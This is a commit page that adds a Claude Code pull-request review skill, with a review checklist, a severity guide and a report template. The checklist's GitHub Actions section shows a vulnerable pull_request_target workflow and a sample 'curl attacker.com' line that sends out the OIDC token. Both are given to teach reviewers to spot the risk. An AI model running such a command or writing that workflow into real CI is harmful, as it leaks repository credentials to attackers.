zhongwei/gh-bbrowning-bbrowning-claude-marketplace-bbrowning-claude
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Initial commit

Browse Source
This commit is contained in:
Zhongwei Li
2025-11-29 18:00:42 +08:00
commit cc49e355bc
37 changed files with 10917 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

444
skills/pr-review/SKILL.md Normal file
View File

@@ -0,0 +1,444 @@
---
name: Reviewing Pull Requests
description: Use when user mentions reviewing PRs, provides GitHub PR URLs/numbers, or discusses code review. Provides structured analysis of code quality, backward compatibility, security issues, test coverage, and unaddressed comments with categorized findings (Critical/High/Medium/Low). Creates isolated git worktree for safe review, ensures comprehensive security analysis, and generates actionable recommendations. Invoke before analyzing any pull request changes.
allowed-tools: Read, Grep, Glob, Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh pr checks:*), Bash(gh pr checkout:*), Bash(git worktree:*), Bash(cd:*), Bash(pwd:*)
---
# Pull Request Review Workflow
This skill guides comprehensive PR reviews using the GitHub CLI and local code analysis.
## 0. Determine Starting Point
**When this skill is invoked:**
1. **If user is already in a PR worktree** (mentions "already in worktree", "skip to step 3", or "skip worktree setup"):
- Skip directly to **step 3** (Gather PR Context)
- Assume worktree is set up correctly
- Proceed with the review
2. **If user provides a PR reference** (URL, org/repo#number, etc.) and is NOT in a worktree:
- Parse the PR reference (see formats below)
- Confirm with user before creating worktree
- Proceed to **step 1** (Create worktree)
**Supported PR reference formats:**
- `<github_org>/<github_repo>/pull/<pull_request_number>`
- `<github_org>/<github_repo>#<pull_request_number>`
- Full github.com URL pointing to a specific pull request
**Note**: For setting up worktrees, you can also use the `/pr-review` slash command which handles the setup workflow and provides handoff instructions.
## 1. Creating a Git Worktree for the PR
**Determine the repository location:**
First, check if the repository exists locally on this machine:
- Look in common source code locations (~/src/, ~/repos/, etc.)
- Use the user's machine-specific path configuration if available
- If the repository doesn't exist locally, ask the user if they want to clone it first or provide the path
**Create a new worktree with the PR checked out:**
```bash
# Navigate to the repository (if not already there)
cd /path/to/<repo>
# Create worktree and check out the PR
# Use format: <repo_name>-pr-<pr_number> for the branch and directory
git worktree add ../<repo_name>-pr-<pr_number> -b <repo_name>-pr-<pr_number>
cd ../<repo_name>-pr-<pr_number>
gh pr checkout <pr_number>
```
**Example for vLLM project PR #12345 where vllm is at /Users/alice/repos/vllm:**
```bash
cd /Users/alice/repos/vllm
git worktree add ../vllm-pr-12345 -b vllm-pr-12345
cd ../vllm-pr-12345
gh pr checkout 12345
```
**Share .claude configuration across worktrees:**
After creating the worktree, set up `.claude/` configuration sharing if needed:
```bash
cd ../<repo_name>-pr-<pr_number>
# Check if .claude already exists (from git or previous setup)
if [ ! -e .claude ]; then
# Get main worktree path
MAIN_WORKTREE=$(git worktree list --porcelain | awk '/^worktree/ {print $2; exit}')
# If .claude exists in main worktree, create symlink
if [ -d "$MAIN_WORKTREE/.claude" ]; then
ln -s "$MAIN_WORKTREE/.claude" .claude
echo "Created .claude symlink to share configuration"
fi
fi
```
**Why symlink .claude?**
- Ensures project-local configuration (review criteria, skills, commands) is available in the PR worktree
- Maintains consistency across all worktrees for the same repository
- If `.claude/` is committed to git, it's already available; if not, the symlink shares it
**CRITICAL SAFETY**: Never run code from the PR. It may contain untrusted code. Only read and analyze files.
## 2. Launch Claude Code in the Worktree
After creating the worktree, **STOP HERE**. Do NOT continue to step 3 in this session.
**CRITICAL HANDOFF POINT**: You must provide the user with instructions to launch a NEW Claude Code session in the worktree. The review MUST happen in a fresh session in the worktree directory, NOT in the current session.
**Why this matters:**
- Fresh context focused only on PR changes
- Correct working directory for running tests and examining code
- Isolation from the original repository/marketplace
**IMPORTANT**: Include ALL relevant skills that were loaded in the current session in the handoff prompt. This ensures the new Claude Code session has the full context needed for the review.
### Determining Relevant Skills
Before providing handoff instructions, identify which skills were loaded for this review:
1. **pr-review skill**: Always relevant (this skill)
2. **Repository-specific skills**: Any skills matching the repository being reviewed (e.g., llama-stack, vllm)
3. **Domain-specific skills**: Any skills relevant to the PR content (e.g., auth-security for authentication/authorization code)
**Example**: For a llama-stack PR, both `pr-review` and `llama-stack` skills would be relevant.
### Handoff Instruction Template
**IMPORTANT**: Only provide the plain text prompt below. Do NOT invent or reference non-existent slash commands (like `/continue-pr-review`). The only real slash command is `/bbrowning-claude:pr-review` which was already used to set up the worktree.
```
I've created a git worktree for PR #<pr_number> (<github_org>/<github_repo>) at: <worktree_path>
To continue the review in an isolated environment:
1. Open a new terminal
2. Navigate to the worktree: cd <worktree_path>
3. Launch Claude Code: claude
4. In the new Claude Code session, provide this prompt:
> Review PR #<pr_number> for <github_org>/<github_repo>. I'm already in a git worktree with the PR checked out. Use [list ALL relevant skills: pr-review, <repo-specific>, <domain-specific>] and skip directly to step 3 (Gather PR Context) since the worktree is already set up.
This ensures we're reviewing the correct code in isolation with all necessary context.
```
**Why this matters:**
- Repository-specific skills contain critical domain knowledge (e.g., llama-stack's recordings/ handling, distributed systems concerns)
- Domain-specific skills provide specialized security or technical guidance
- Without all skills, the review loses important context and may miss critical issues
---
**⚠️ STOP: The steps below (3-9) are ONLY performed in the NEW Claude Code session within the worktree.**
**If you just created a worktree in step 1-2, DO NOT proceed to step 3. Provide handoff instructions and wait for the user to start a new session.**
**If you're in a fresh session and the user says "already in worktree" or "skip to step 3", then proceed with step 3.**
---
**IMPORTANT**: Remember to clean up the worktree after completing the review (see section 9 below).
## 3. Gather PR Context
**Fetch PR details:**
```bash
gh pr view <pr_number> --json title,body,commits,comments,reviews,files
```
Extract and note:
- PR title and description
- Number of commits and commit messages
- Files changed
- Existing comments and reviews
- Any unaddressed review comments
**Identify unaddressed comments:**
Look for review comments that:
- Have no replies from the PR author
- Requested changes that weren't made
- Raised concerns not acknowledged
- Are marked as unresolved
Flag these prominently in your review.
## 4. Analyze Code Changes
**Get the diff:**
```bash
gh pr diff <pr_number> > pr_changes.diff
```
For large PRs (>500 lines changed), break the review into logical sections (e.g., by file, by functionality).
Reference the local pr_changes.diff as you need to find changes in the PR over repeated calls to `gh pr diff`. And remember that you are already in a directory that has the PR cloned and checked out, so you can also look at local files.
**Review each changed file systematically:**
Use Read, Grep, and Glob tools to examine:
- Changed files and surrounding context
- Related files that might be affected
- Test files for the changed code
- Documentation for updated features
**Apply review checklist:**
For comprehensive criteria, see `reference/review-checklist.md`. Key areas:
1. **Code Quality**
- Readability and maintainability
- Follows project conventions
- Appropriate abstraction levels
- Error handling
2. **Correctness**
- Logic is sound
- Edge cases handled
- No obvious bugs
- Changes align with PR description
3. **Testing**
- Tests included for new functionality
- Tests cover edge cases
- Existing tests still pass
- Test quality is adequate
4. **Security**
- No security vulnerabilities
- Input validation present
- No exposed secrets or credentials
- Safe handling of user data
- **CRITICAL**: Check for `pull_request_target` + checkout of untrusted code pattern in workflows
- CI/CD workflows don't expose secrets or OIDC tokens to untrusted code
- **Authentication/Authorization**: For PRs involving JWT tokens, MCP servers, or other authentication/authorization code, invoke the `auth-security` skill for comprehensive security guidance on JWT validation, token exchange, OAuth 2.1 compliance, and MCP authorization patterns
5. **Performance**
- No obvious performance issues
- Efficient algorithms
- No unnecessary operations
- Database queries optimized
6. **Backward Compatibility**
- Public API changes are compatible
- Database migrations are safe
- Configuration changes documented
- Deprecation handled properly
7. **Documentation**
- Code comments where needed
- API docs updated
- README updated if needed
- Breaking changes documented
## 5. Cross-Cutting Concerns
**Check alignment with PR description:**
- All described changes are present
- No undescribed significant changes
- Commit messages match changes
**Verify comments match code:**
- Inline comments are accurate
- No outdated comments from refactoring
- Documentation reflects actual behavior
**Assess scope creep:**
- Changes are focused on stated goal
- No unrelated refactoring
- Separate concerns properly
## 6. Categorize Findings
Use the severity guide in `reference/severity-guide.md` to categorize each finding:
- **Critical**: Must fix before merge (security, data loss, breaking changes)
- **High**: Should fix before merge (bugs, significant issues)
- **Medium**: Should address but not blocking (code quality, minor issues)
- **Low**: Optional improvements (style, suggestions)
Be specific about:
- What the issue is
- Why it matters
- How to fix it (or suggest approaches)
- File and line references
## 7. Generate Review Report
Write findings to `./pr_review_results.md` using the template in `templates/review-report.md`.
**Report structure:**
1. Executive summary
2. Unaddressed comments from others
3. Findings by severity
4. Positive observations
5. Final recommendation (approve/request changes/needs discussion)
**Key principles:**
- Be constructive and specific
- Include code references (file:line)
- Distinguish blockers from suggestions
- Highlight what's done well
- Provide actionable guidance
## 8. Present to User
After writing `./pr_review_results.md`, present:
1. Summary of key findings
2. Number of issues by severity
3. Critical blockers if any
4. Any unaddressed comments from others
5. Overall recommendation
Ask if the user wants:
- Details on any specific finding
- To focus on particular aspects
- To leave review comments on GitHub
## 9. Clean Up the Worktree
**After completing the PR review**, return to the original terminal session where you created the worktree and clean up:
### Automated Cleanup (Recommended)
Clean up the worktree and branch:
```bash
# Return to the main repository (if not already there)
cd /path/to/<repo>
# Remove the worktree (--force handles modified/untracked files)
git worktree remove --force <repo_name>-pr-<pr_number>
# Delete the local branch
git branch -D <repo_name>-pr-<pr_number>
```
**Example for vLLM PR #12345:**
```bash
cd ~/src/vllm
git worktree remove --force vllm-pr-12345
git branch -D vllm-pr-12345
```
This will:
- Remove the worktree directory (including any modified/untracked files)
- Delete the local branch
- Clean up git metadata
### Manual Cleanup
Alternative approach with verification step:
```bash
# Navigate to the main repository
cd /path/to/<repo>
# List worktrees to verify the one to remove
git worktree list
# Remove the worktree (--force handles modified/untracked files)
git worktree remove --force <repo_name>-pr-<pr_number>
# Delete the local branch
git branch -D <repo_name>-pr-<pr_number>
```
**Why cleanup matters:**
- Prevents orphaned worktrees consuming disk space
- Avoids confusion about which worktree to use
- Keeps the repository clean and organized
**Safety note:** The worktree removal is safe because:
- PR review results should have been saved to the main worktree or submitted to GitHub
- The worktree was for review only (no development work)
- The PR branch still exists on GitHub
## Repository-Specific Skills
**IMPORTANT**: After gathering PR context and determining which repository is being reviewed, check for repository-specific skills that provide specialized review guidance.
### Discovering Repository-Specific Skills
1. **Identify the repository** from the PR context (e.g., `llamastack/llama-stack`, `vllm-project/vllm`)
2. **Search for matching skills** using common repository identifiers:
- Repository name (e.g., "llama-stack", "vllm")
- Organization name (e.g., "llamastack")
- Project name variations
3. **Invoke repository-specific skill** if found, using the Skill tool
4. **Apply specialized guidance** from the skill throughout your review
### Example: Reviewing a Llama Stack PR
```
1. Gather PR context → Determine repository is "llamastack/llama-stack"
2. Check for skills → Find "Reviewing Llama Stack Code" skill
3. Invoke skill → Use Skill tool with "bbrowning-claude:llama-stack"
4. Apply guidance → Use Llama Stack-specific patterns in review
```
### Benefits of Repository-Specific Skills
- **Specialized knowledge**: Project-specific architecture patterns and conventions
- **Critical gotchas**: Common mistakes specific to that codebase
- **Review focus**: What matters most for that particular project
- **Efficiency**: Pre-encoded knowledge from previous reviews
### When No Repository-Specific Skill Exists
If no specialized skill is found:
- Proceed with general code review criteria
- Consider creating a repository-specific skill if you identify recurring patterns
- Document project-specific observations for future reference
## Common Pitfalls to Avoid
- **Don't guess**: If you can't determine something from the code, note it as a question
- **Don't run code**: Security risk - only read and analyze
- **Don't be vague**: "This looks wrong" → "This function doesn't handle null inputs (see line 42)"
- **Don't forget context**: Read surrounding code to understand intent
- **Don't ignore tests**: Test quality matters as much as code quality
## Validation Checklist
Before completing the review, ensure:
- [ ] PR context gathered (description, comments, reviews)
- [ ] Repository identified and repository-specific skill invoked if available
- [ ] All changed files examined
- [ ] Unaddressed comments identified
- [ ] All review checklist areas covered
- [ ] Repository-specific patterns validated (if applicable)
- [ ] Findings categorized by severity
- [ ] Review report written to `./pr_review_results.md`
- [ ] Specific file:line references included
- [ ] Actionable recommendations provided
- [ ] Positive aspects noted
- [ ] Final recommendation clear
- [ ] User reminded to clean up worktree after review (section 9)
## Extending This Skill
This skill is designed to be customized:
1. **Add review criteria**: Edit `reference/review-checklist.md`
2. **Adjust severity definitions**: Modify `reference/severity-guide.md`
3. **Customize report format**: Update `templates/review-report.md`
4. **Add repository-specific guidance**: Create new repository-specific skills (e.g., `llama-stack`, `vllm`) rather than modifying this skill
5. **Security guidelines**: For authentication and authorization security, use the `auth-security` skill
### Creating Repository-Specific Skills
For repositories you frequently review, create dedicated skills:
1. Use the `skill-builder` skill for guidance on creating skills
2. Name the skill after the repository (e.g., "Reviewing Llama Stack Code")
3. Include in the description: repository name, common variations, and "PR review" or "code review"
4. Document architecture patterns, testing conventions, and critical gotchas
5. The pr-review skill will automatically discover and invoke it
The goal is a thorough, actionable review that helps maintain code quality while being respectful and constructive.

364
skills/pr-review/reference/review-checklist.md Normal file
View File

@@ -0,0 +1,364 @@
# Comprehensive PR Review Checklist
This document provides detailed criteria for reviewing pull requests. Use this as a reference when conducting thorough code reviews.
## Code Quality
### Readability
- [ ] Variable and function names are descriptive and meaningful
- [ ] Code structure is logical and easy to follow
- [ ] Nesting depth is reasonable (avoid deeply nested conditionals)
- [ ] Functions are focused and do one thing well
- [ ] Magic numbers are replaced with named constants
- [ ] Complex logic has explanatory comments
### Maintainability
- [ ] Code follows DRY principle (Don't Repeat Yourself)
- [ ] Abstractions are at appropriate levels
- [ ] Dependencies are minimal and justified
- [ ] Code is modular and loosely coupled
- [ ] Future changes would be straightforward
### Project Conventions
- [ ] Follows established coding style
- [ ] Uses project's preferred patterns and idioms
- [ ] File and directory organization matches conventions
- [ ] Naming conventions are consistent
- [ ] Import/require statements follow project standards
### Error Handling
- [ ] Errors are caught and handled appropriately
- [ ] Error messages are helpful and specific
- [ ] No silent failures or swallowed exceptions
- [ ] Edge cases have explicit handling
- [ ] Graceful degradation where appropriate
## Correctness
### Logic
- [ ] Algorithm is correct for stated purpose
- [ ] Conditions and loops are correctly structured
- [ ] Off-by-one errors are avoided
- [ ] State management is sound
- [ ] Async operations are properly handled
### Edge Cases
- [ ] Null/undefined/nil values handled
- [ ] Empty collections handled
- [ ] Boundary conditions addressed (min, max, zero)
- [ ] Concurrent access considered if applicable
- [ ] Integer overflow/underflow considered if applicable
### Alignment with Intent
- [ ] Implementation matches PR description
- [ ] All described features are present
- [ ] No undescribed significant changes
- [ ] Commit messages accurately describe changes
- [ ] Solves the stated problem
## Testing
### Test Coverage
- [ ] New functionality has tests
- [ ] Modified functionality has updated tests
- [ ] Edge cases are tested
- [ ] Error conditions are tested
- [ ] Integration points are tested
### Test Quality
- [ ] Tests are readable and maintainable
- [ ] Tests are deterministic (no flaky tests)
- [ ] Tests use appropriate assertions
- [ ] Test data is realistic
- [ ] Tests run in reasonable time
- [ ] Tests don't depend on external services unnecessarily
### Test Organization
- [ ] Tests are well-organized and grouped logically
- [ ] Test names clearly describe what they test
- [ ] Setup and teardown are appropriate
- [ ] Tests are independent of each other
## Security
### Input Validation
- [ ] All user input is validated
- [ ] Input length limits are enforced
- [ ] Type checking is performed
- [ ] Whitelisting used over blacklisting where possible
### Authentication & Authorization
- [ ] Authentication is required where needed
- [ ] Authorization checks are present
- [ ] Permissions are checked at appropriate level
- [ ] No privilege escalation vulnerabilities
### Data Safety
- [ ] No hardcoded secrets or credentials
- [ ] Sensitive data is encrypted
- [ ] SQL injection prevented (parameterized queries)
- [ ] XSS vulnerabilities prevented
- [ ] CSRF protection where needed
- [ ] No path traversal vulnerabilities
### Dependencies
- [ ] New dependencies are necessary and vetted
- [ ] Dependencies are from trusted sources
- [ ] No known vulnerable dependency versions
- [ ] Minimal dependency footprint
### CI/CD & GitHub Actions Security
**CRITICAL**: Workflows using `pull_request_target` that checkout untrusted code are a severe security risk.
#### The `pull_request_target` Anti-Pattern
The following pattern is **CRITICAL** priority and often missed in reviews:
```yaml
on:
pull_request_target: # ⚠️ Runs with elevated privileges
jobs:
build:
permissions:
id-token: write # ⚠️ Can obtain OIDC tokens
steps:
- uses: actions/checkout@v5
with:
ref: ${{ github.event.pull_request.head.sha }} # ⚠️ Checks out untrusted PR code
- uses: third-party/action@v1 # ⚠️ Processes untrusted code with privileges
```
**Why this is dangerous:**
- `pull_request_target` runs workflow from base branch with access to secrets and OIDC tokens
- Checking out PR code brings untrusted files into the workflow environment
- Attacker controls the checked-out files and can exploit third-party actions
**Attack vectors to consider:**
1. **Code Execution**
- [ ] Action runs npm install, pip install, or other package managers
- [ ] Action executes scripts from the repository (setup.py, Makefile, etc.)
- [ ] Action processes files in ways that could trigger code execution
2. **YAML/File Content Exploitation**
- [ ] Malicious YAML could exploit unsafe deserialization
- [ ] Injection attacks if file content passed to shell commands
- [ ] Path traversal vulnerabilities in file processing
3. **OIDC Token Exfiltration**
- [ ] Any code execution allows: `curl attacker.com/?token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN`
- [ ] Token accessible via environment variables and GitHub API
- [ ] Could be used to impersonate the repository in cloud services
4. **Supply Chain Attacks**
- [ ] Poison SDK/package builds to inject malicious code
- [ ] Modify artifacts before publication
- [ ] Compromise downstream users of generated packages
**What to verify when reviewing workflows:**
- [ ] **Avoid the pattern entirely**: Can this use `pull_request` instead?
- [ ] **Audit third-party actions**: Review the action's source code at the pinned commit
- What does it do with checked-out files?
- Does it execute any code from the repository?
- Does it run package managers?
- How does it parse YAML/config files?
- [ ] **Verify repository settings**: Is manual approval required for fork PRs?
- Settings → Actions → General
- "Require approval for all outside collaborators" should be enabled
- [ ] **Implement defense-in-depth**:
- Use sparse checkout to limit files available
- Add validation steps before processing untrusted files
- Minimize permissions granted to workflows
- [ ] **Consider access model**: Who can trigger workflows? (In repos where anyone with 1+ merged PR can open new PRs, risk is higher)
**The complete trust chain:**
When a workflow uses `pull_request_target` + checkout + third-party action, you're trusting:
1. The action never executes code from the repository
2. The action safely parses all file formats (YAML, JSON, etc.)
3. The action only reads specified files (no path traversal)
4. The action doesn't leak environment variables
5. The action doesn't pass file content to shell/system calls unsafely
6. The action's dependencies are not compromised
7. The pinned commit wasn't malicious when created
8. Manual approval (if configured) actually prevents abuse
**If ANY of these fail, the repository is compromised.**
**Red flags requiring CRITICAL classification:**
- `pull_request_target` + checkout of PR code + `id-token: write` permission
- `pull_request_target` + checkout of PR code + `secrets: inherit`
- `pull_request_target` + checkout of PR code + third-party actions processing those files
- Comments claiming "this is safe" without verification/audit
**Safer alternatives:**
- Use `pull_request` trigger (no secrets/OIDC access)
- Use sparse checkout to limit exposure
- Implement separate validation job before privileged operations
- Require explicit manual approval for all fork PRs
**Remember**: A comment in the workflow saying "this is safe because the action only reads files" is NOT sufficient verification. That claim must be proven through source code audit and security review of the action.
## Performance
### Efficiency
- [ ] No unnecessary computations
- [ ] Appropriate data structures chosen
- [ ] Loops are efficient
- [ ] No N+1 query problems
- [ ] Caching used appropriately
### Scalability
- [ ] Handles expected load
- [ ] No obvious bottlenecks
- [ ] Memory usage is reasonable
- [ ] Resource cleanup is proper
### Database
- [ ] Queries are optimized
- [ ] Indexes are appropriate
- [ ] No full table scans on large tables
- [ ] Batch operations where applicable
- [ ] Connection pooling used properly
## Backward Compatibility
### API Changes
- [ ] Public API maintains backward compatibility
- [ ] Breaking changes are documented and justified
- [ ] Deprecation warnings added before removal
- [ ] Version numbers updated appropriately
### Database
- [ ] Migrations are reversible
- [ ] Migrations handle existing data safely
- [ ] No data loss in migrations
- [ ] Column renames/removals are staged appropriately
### Configuration
- [ ] Config changes are backward compatible
- [ ] Default values maintain existing behavior
- [ ] Environment variable changes documented
- [ ] Feature flags used for risky changes
### Dependencies
- [ ] Dependency updates are compatible
- [ ] Breaking changes in dependencies handled
- [ ] Lock files updated appropriately
## Documentation
### Code Documentation
- [ ] Complex logic has explanatory comments
- [ ] Comments explain "why" not "what"
- [ ] No outdated or misleading comments
- [ ] Public APIs have documentation
- [ ] Function parameters and returns documented
### Project Documentation
- [ ] README updated if user-facing changes
- [ ] API documentation updated
- [ ] Configuration changes documented
- [ ] Migration guides for breaking changes
- [ ] CHANGELOG updated if applicable
### Comments
- [ ] TODOs have context and ownership
- [ ] No commented-out code (use version control)
- [ ] Comments add value
## Architecture & Design
### Design Patterns
- [ ] Appropriate patterns used
- [ ] No anti-patterns introduced
- [ ] Consistent with existing architecture
- [ ] SOLID principles followed
### Separation of Concerns
- [ ] Business logic separated from presentation
- [ ] Data access layer properly abstracted
- [ ] Cross-cutting concerns handled appropriately
### Modularity
- [ ] Changes are properly encapsulated
- [ ] Minimal coupling between modules
- [ ] Clear interfaces and contracts
## Git Hygiene
### Commits
- [ ] Commits are logical units
- [ ] Commit messages are clear and descriptive
- [ ] No merge commits in feature branch (if applicable)
- [ ] No "WIP" or "fix typo" commits in final PR
### Scope
- [ ] PR is focused on single concern
- [ ] No unrelated changes
- [ ] PR is reviewable size (not too large)
## Language-Specific Considerations
### Python
- [ ] Type hints used appropriately
- [ ] Context managers used for resources
- [ ] List comprehensions readable
- [ ] Virtual environment properly configured
### JavaScript/TypeScript
- [ ] TypeScript types are specific (not `any`)
- [ ] Promises handled properly
- [ ] Memory leaks prevented (event listeners cleaned up)
- [ ] Bundle size impact considered
### Go
- [ ] Errors are checked
- [ ] defer used appropriately
- [ ] Goroutines properly managed
- [ ] Race conditions prevented
### Java
- [ ] Exceptions properly handled
- [ ] Resources closed properly
- [ ] Thread safety considered
- [ ] Appropriate access modifiers used
### Rust
- [ ] Ownership and borrowing correct
- [ ] Unsafe code justified and minimal
- [ ] Error handling idiomatic (Result/Option)
- [ ] Lifetime annotations appropriate
## Review Process
### Context
- [ ] Read PR description thoroughly
- [ ] Understand the problem being solved
- [ ] Check related issues/discussions
- [ ] Review previous comments on PR
### Thoroughness
- [ ] All changed files reviewed
- [ ] Related unchanged files checked for impact
- [ ] Tests examined
- [ ] CI results checked
### Communication
- [ ] Feedback is constructive
- [ ] Specific file and line references provided
- [ ] Suggestions include rationale
- [ ] Questions asked for unclear code
- [ ] Positive aspects acknowledged
## Customization
This checklist can be extended with repository-specific criteria. Add custom sections below for:
- Framework-specific patterns
- Organization coding standards
- Domain-specific requirements
- Compliance requirements
- Performance benchmarks

279
skills/pr-review/reference/severity-guide.md Normal file
View File

@@ -0,0 +1,279 @@
# Severity Classification Guide
Use this guide to consistently categorize findings during PR reviews. Each finding should be classified by severity to help prioritize fixes.
## Severity Levels
### Critical
**Definition**: Issues that MUST be fixed before merge. These pose immediate risks or cause serious problems.
**When to use**:
- Security vulnerabilities (SQL injection, XSS, exposed secrets)
- Data loss or corruption risks
- Breaking changes to public APIs without proper deprecation
- Code that will crash in production
- Severe performance issues (timeouts, memory leaks)
- Introduces legal/compliance violations
**Examples**:
- Hardcoded API key in source code
- SQL query vulnerable to injection
- Deleting data without transaction protection
- Breaking change to widely-used API
- Memory leak that grows unbounded
- Removing authentication check
- **GitHub Actions workflow using `pull_request_target` + checkout of untrusted code + `id-token: write`**
- **CI/CD workflow that exposes secrets or OIDC tokens to untrusted code**
**Characteristics**:
- Blocks merge
- Requires immediate fix
- Has production impact
- No workarounds available
### High
**Definition**: Significant issues that should be fixed before merge. These cause problems but may have temporary workarounds.
**When to use**:
- Logic bugs that affect core functionality
- Missing error handling for likely errors
- Incomplete implementations
- Missing critical tests
- Performance issues that impact user experience
- Incorrect algorithm or approach
**Examples**:
- Function returns wrong result for valid input
- No error handling for network call
- Feature incomplete (half-implemented)
- No tests for new API endpoint
- O(n²) algorithm where O(n) is possible
- Race condition in concurrent code
**Characteristics**:
- Should block merge
- Affects functionality
- May have workarounds
- Needs addressing before release
### Medium
**Definition**: Issues that should be addressed but don't block merge. These affect code quality, maintainability, or minor functionality.
**When to use**:
- Code quality issues
- Missing edge case handling
- Suboptimal implementations
- Insufficient test coverage
- Documentation gaps
- Minor design issues
**Examples**:
- Function is too complex and hard to read
- Doesn't handle empty array case
- Using map where set would be better
- No tests for error paths
- Missing docstring for public function
- Repeated code that should be extracted
**Characteristics**:
- Doesn't block merge
- Affects maintainability
- Should be addressed soon
- Follow-up PR acceptable
### Low
**Definition**: Suggestions and minor improvements. Nice to have but not required.
**When to use**:
- Style preferences
- Minor optimizations
- Suggestions for future improvements
- Naming suggestions
- Comment improvements
- Non-critical refactoring ideas
**Examples**:
- Variable could have more descriptive name
- Could use newer language feature
- Comment could be more detailed
- Alternative approach suggestion
- Formatting inconsistency
- Typo in comment
**Characteristics**:
- Doesn't block merge
- Optional improvements
- Personal preference
- Future enhancement ideas
## Classification Decision Tree
Use this flowchart to determine severity:
```
Does this create a security risk or data loss?
├─ YES → Critical
└─ NO ↓
Does this cause incorrect behavior or crashes?
├─ YES → High
└─ NO ↓
Does this impact code quality or maintainability significantly?
├─ YES → Medium
└─ NO ↓
Is this a suggestion or minor improvement?
└─ YES → Low
```
## Context Matters
The same issue can have different severities based on context:
### Example: Missing Error Handling
**Critical**: Payment processing endpoint
- Could lose money or charge incorrectly
- No recovery mechanism
**High**: User data fetch
- Core functionality broken
- Error affects user experience
**Medium**: Analytics tracking
- Non-critical feature
- Failure is acceptable
**Low**: Debug logging
- Optional feature
- No impact on users
### Example: Performance Issue
**Critical**: Database query on high-traffic endpoint
- Causes timeouts under load
- Affects all users
**High**: Slow algorithm in user-facing feature
- Noticeable delay (>1s)
- Frequent operation
**Medium**: Inefficient background job
- Runs occasionally
- Has time budget
**Low**: Inefficiency in dev tooling
- Rarely executed
- Minimal impact
## Borderline Cases
When a finding could fit multiple categories:
### Between Critical and High
Ask: Will this definitely cause production issues?
- Definitely → Critical
- Probably → High
### Between High and Medium
Ask: Does this affect core functionality?
- Yes → High
- No → Medium
### Between Medium and Low
Ask: Does this impact maintainability significantly?
- Yes → Medium
- No → Low
## Special Considerations
### Breaking Changes
- With migration path + deprecation → High
- Without migration path → Critical
### Test Issues
- No tests for new API → High
- Incomplete test coverage → Medium
- Test quality issues → Low
### Documentation
- Missing docs for public API → Medium
- Incomplete docs → Low
- Typos in docs → Low
### Dependencies
- Vulnerable dependency → Critical
- Unnecessary dependency → Medium
- Outdated but safe dependency → Low
## Communicating Severity
### Critical
- Start with "CRITICAL:" or use strong language
- Explain the immediate risk
- Mark as blocking
**Example**:
> CRITICAL: This SQL query is vulnerable to injection. An attacker could access all user data. Must use parameterized queries.
### High
- Clearly state it should block merge
- Explain the problem and impact
- Suggest fix
**Example**:
> This function will crash when users.length is 0 (see line 42). This should be fixed before merge. Suggest adding a length check or using optional chaining.
### Medium
- Explain why it matters
- Can be more conversational
- OK to suggest follow-up
**Example**:
> This function is quite complex and hard to follow. Consider extracting the validation logic into a separate function. Could be addressed in a follow-up PR if needed.
### Low
- Use softer language ("consider", "might", "could")
- Make it clear it's optional
- Can combine multiple low items
**Example**:
> Minor: Consider renaming `data` to `userData` for clarity. Also, the comment on line 15 has a typo.
## Repository-Specific Severity Adjustments
Some repositories may have custom severity criteria. Add repository-specific rules below:
### High-Security Projects
- Elevate any security issue to Critical
- Stricter criteria for code quality
### Fast-Moving Startups
- May accept more Medium issues
- Focus on Critical/High
### Library/Framework Projects
- Breaking changes are always Critical
- Backward compatibility very important
- Documentation gaps elevated
### Internal Tools
- Can be more lenient overall
- Security still Critical
- User experience less critical
## Review Your Classifications
Before finalizing, check:
- [ ] Each finding has appropriate severity
- [ ] Critical items are truly blocking
- [ ] Low items are clearly optional
- [ ] Severity is justified in the comment
- [ ] Context is considered
Remember: The goal is to help prioritize fixes, not to be overly critical. When in doubt, err on the side of being helpful rather than strict.

274
skills/pr-review/templates/review-report.md Normal file
View File

@@ -0,0 +1,274 @@
# Pull Request Review: [PR Title]
**PR**: [org/repo#number]
**Author**: [author]
**Reviewed**: [date]
**Reviewers**: Claude Code PR Review
---
## Executive Summary
[1-3 sentence summary of the PR and overall assessment]
**Recommendation**: [Approve / Request Changes / Needs Discussion]
**Statistics**:
- Files changed: [count]
- Lines added: [+count]
- Lines removed: [-count]
- Commits: [count]
---
## Unaddressed Comments
[If there are unaddressed review comments from other reviewers, list them here with context]
### Comment from [reviewer] on [file:line]
> [Quote the comment]
**Status**: Unaddressed - [No response / No code changes / Needs clarification]
[Repeat for each unaddressed comment]
[If no unaddressed comments: "No unaddressed comments from other reviewers."]
---
## Critical Findings
[Issues that MUST be fixed before merge]
### [Title of Issue]
**Location**: `[file:line]`
**Severity**: Critical
**Issue**:
[Clear description of what's wrong]
**Impact**:
[Why this is critical - security risk, data loss, breaking change, etc.]
**Recommendation**:
[How to fix it - be specific]
**Example**:
```[language]
[Show problematic code if helpful]
```
[Repeat for each critical finding]
[If no critical findings: "No critical issues found."]
---
## High Priority Findings
[Significant issues that should be fixed before merge]
### [Title of Issue]
**Location**: `[file:line]`
**Severity**: High
**Issue**:
[What's wrong]
**Impact**:
[Why this matters]
**Recommendation**:
[How to fix it]
[Repeat for each high priority finding]
[If no high priority findings: "No high priority issues found."]
---
## Medium Priority Findings
[Issues that should be addressed but don't block merge]
### [Title of Issue]
**Location**: `[file:line]`
**Severity**: Medium
**Issue**:
[What could be improved]
**Impact**:
[Why this matters for code quality/maintainability]
**Recommendation**:
[Suggested improvements]
[Repeat for each medium finding]
[If no medium findings: "No medium priority issues found."]
---
## Low Priority Findings
[Suggestions and minor improvements]
### [Title of Issue]
**Location**: `[file:line]`
**Severity**: Low
**Suggestion**:
[Optional improvement or style suggestion]
[Can group multiple low-severity items together]
[If no low findings: "No low priority suggestions."]
---
## Positive Observations
[Highlight what's done well - this is important for constructive reviews!]
- [Something done well]
- [Good pattern or approach]
- [Excellent test coverage]
- [Clear documentation]
- [etc.]
---
## Testing Assessment
**Test Coverage**: [Excellent / Good / Adequate / Insufficient / None]
**Findings**:
- [Assessment of test quality and coverage]
- [Are tests sufficient for the changes?]
- [Edge cases covered?]
- [Test quality adequate?]
---
## Documentation Assessment
**Documentation**: [Complete / Adequate / Incomplete / None]
**Findings**:
- [Are docs updated for user-facing changes?]
- [API documentation adequate?]
- [Code comments where needed?]
- [Breaking changes documented?]
---
## Backward Compatibility Assessment
